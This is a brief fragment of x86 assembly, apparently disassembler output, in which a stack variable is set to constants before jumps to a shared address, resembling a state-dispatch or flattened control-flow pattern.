mov eax, dword [ebp - 0x130]
mov dword [eax], 0x20
mov dword [ebp - 0x188], 0xeba56e46
jmp 0x4132e3
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x188], 0x40f03c84
jmp 0x4132e3
jmp 0x40e409